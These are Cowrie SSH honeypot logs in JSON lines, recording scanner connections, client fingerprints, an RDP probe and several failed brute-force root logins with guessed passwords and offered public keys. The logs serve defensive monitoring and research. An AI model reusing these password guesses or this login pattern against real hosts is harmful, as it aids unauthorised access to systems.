{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:23.423860Z","src_ip":"69.49.246.176","session":"47346902c54e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eric123","message":"login attempt [root/eric123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:23.567758Z","src_ip":"69.49.246.176","session":"47346902c54e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:24.595611Z","src_ip":"69.49.246.176","session":"47346902c54e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":50258,"dst_ip":"159.203.135.109","dst_port":22,"session":"4de1e2da5ddc","protocol":"ssh","message":"New connection: 43.134.104.184:50258 (159.203.135.109:22) [session: 4de1e2da5ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:25.619383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:25.624384Z","src_ip":"43.134.104.184","session":"4de1e2da5ddc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:25.874028Z","src_ip":"43.134.104.184","session":"4de1e2da5ddc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63150,"dst_ip":"10.17.0.5","dst_port":22,"session":"8be3bea23065","protocol":"ssh","message":"New connection: 152.42.212.128:63150 (10.17.0.5:22) [session: 8be3bea23065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:26.178361Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:26.183496Z","src_ip":"152.42.212.128","session":"8be3bea23065","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:26.187315Z","src_ip":"152.42.212.128","session":"8be3bea23065","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":35542,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1925992f641","protocol":"ssh","message":"New connection: 103.96.74.162:35542 (10.17.0.5:22) [session: c1925992f641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:26.494169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:26.499138Z","src_ip":"103.96.74.162","session":"c1925992f641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:26.714047Z","src_ip":"103.96.74.162","session":"c1925992f641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"formula1","message":"login attempt [root/formula1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:26.889335Z","src_ip":"43.134.104.184","session":"4de1e2da5ddc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mason","message":"login attempt [root/mason] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:27.154947Z","src_ip":"103.96.74.162","session":"c1925992f641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:28.138384Z","src_ip":"43.134.104.184","session":"4de1e2da5ddc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:28.375959Z","src_ip":"103.96.74.162","session":"c1925992f641","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":53206,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2580c04d633","protocol":"ssh","message":"New connection: 43.134.112.237:53206 (159.203.135.109:22) [session: d2580c04d633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:30.102235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:30.106538Z","src_ip":"43.134.112.237","session":"d2580c04d633","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:30.335819Z","src_ip":"43.134.112.237","session":"d2580c04d633","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":53268,"dst_ip":"10.17.0.5","dst_port":22,"session":"de30f0e30adb","protocol":"ssh","message":"New connection: 154.70.102.114:53268 (10.17.0.5:22) [session: de30f0e30adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:30.504635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:30.509949Z","src_ip":"154.70.102.114","session":"de30f0e30adb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:30.710137Z","src_ip":"154.70.102.114","session":"de30f0e30adb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":51384,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3135026a1ba","protocol":"ssh","message":"New connection: 103.243.24.124:51384 (10.17.0.5:22) [session: d3135026a1ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:31.216425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:31.221339Z","src_ip":"103.243.24.124","session":"d3135026a1ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"midnight","message":"login attempt [root/midnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:31.284536Z","src_ip":"43.134.112.237","session":"d2580c04d633","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:31.434556Z","src_ip":"103.243.24.124","session":"d3135026a1ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2033","message":"login attempt [root/2033] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:31.543936Z","src_ip":"154.70.102.114","session":"de30f0e30adb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"japan","message":"login attempt [root/japan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:32.072917Z","src_ip":"103.243.24.124","session":"d3135026a1ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:32.516643Z","src_ip":"43.134.112.237","session":"d2580c04d633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:32.746390Z","src_ip":"154.70.102.114","session":"de30f0e30adb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:33.288282Z","src_ip":"103.243.24.124","session":"d3135026a1ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.71.214.139","src_port":60380,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0d71c14e10b","protocol":"ssh","message":"New connection: 199.71.214.139:60380 (10.17.0.5:22) [session: e0d71c14e10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:36.617768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:36.622240Z","src_ip":"199.71.214.139","session":"e0d71c14e10b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:36.669328Z","src_ip":"199.71.214.139","session":"e0d71c14e10b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:e0:5b:40:47:7d:a9:b8:e9:b1:9f:6a:cb:d2:7b:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUNT5fnM2kEOU1UHqMIxMxZxktsnWkQh+uncuPMcZ2LqVy6y+NtgrSeBaTThyuYvCdC9glcDIZy/6qXPLOeC7SkGwlYXpopvSDpDI03ISVAHJHBAQwVq3oQ3N6CGZWoiilfHdcRRFVqT4qCZ0HU0yZ9Uqtgmpbyxgpr073xHr7ft6YQaawx/W8EvE1hkCN07D85qakJ0Cu9X9C8oDfD5NKFmvlUptOiEdEJVMNemOX5E9x1wucq/m6i50J9bOEa9JCHvdEcihVPbEdVf6/4Kv0qwLvUfUftlDgghB60OJ5SkLw/tWhupvXEvGMp661EWjbdaaUU1STJlRO79QF6CNN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:e0:5b:40:47:7d:a9:b8:e9:b1:9f:6a:cb:d2:7b:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:36.878557Z","src_ip":"199.71.214.139","session":"e0d71c14e10b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:e0:5b:40:47:7d:a9:b8:e9:b1:9f:6a:cb:d2:7b:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUNT5fnM2kEOU1UHqMIxMxZxktsnWkQh+uncuPMcZ2LqVy6y+NtgrSeBaTThyuYvCdC9glcDIZy/6qXPLOeC7SkGwlYXpopvSDpDI03ISVAHJHBAQwVq3oQ3N6CGZWoiilfHdcRRFVqT4qCZ0HU0yZ9Uqtgmpbyxgpr073xHr7ft6YQaawx/W8EvE1hkCN07D85qakJ0Cu9X9C8oDfD5NKFmvlUptOiEdEJVMNemOX5E9x1wucq/m6i50J9bOEa9JCHvdEcihVPbEdVf6/4Kv0qwLvUfUftlDgghB60OJ5SkLw/tWhupvXEvGMp661EWjbdaaUU1STJlRO79QF6CNN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:36.882436Z","src_ip":"199.71.214.139","session":"e0d71c14e10b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:88:08:f2:9a:a3:3e:22:cc:7a:79:fb:a1:8c:51:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkbQbyvmp/KPuTcABW82Je+seAc14zodZ+UTV+4rEt1XtT4gVE5h1fxeu2JYSNNIkmr3q789dHNOlaF3wsIg3WrtZgQ1K1QlO+VlM4rmlIKTLnak0JC8xWHCEbovGBbQoLXfd2S2RsI8sz4diWBR6i/VQ2RUmezUCvJBZ0YXy9OmV/cJ4h0babMJcFIfxbBXHFlQXhSuCpVR7T9x9Ec2gSAK82bYY6gCesuKU7omky1tcF/y3R/DOPX3NAHcNB60tJDNLu77DdwUjLpqeyZYRpKvg643iZ1BeTIR/Fg+wkf+EoN3TSmeDnL0TRHjpsHg7NSDBgOhH4B6Tu1KspVmgZKje1sqggB4cjNcdPHVdgZVLRAbsXsk6c4zW/slNfYSHdYXNM32x/Fn/wmZV05ukznCfes+tfLCYSvxA0AdPxgbmjIxRCi8Mk0sz8FBoGJ0Vq1hRsbr/ruoJ+KLknwn2aoEVIgCqv5mi/PS+DQkeoQC+UKNknNiZEl76WVXCBKYp9tJjfN79zFd9pHSmtfSJmcJSNIDkdZ3lDe7NVVHAfQVAERRw908h0///3NONQcX6deYHeXsdTf279SKGL1n7Grk8z5NU9/xRluNgCh1Eww3lynvGpaCWp5B6zyAz5lbsYosQj4GuoAjZKjfVvf3SHvKdhGf0wCY0FrAIT1KnD2Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:88:08:f2:9a:a3:3e:22:cc:7a:79:fb:a1:8c:51:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:36.929653Z","src_ip":"199.71.214.139","session":"e0d71c14e10b","protocol":"ssh"}
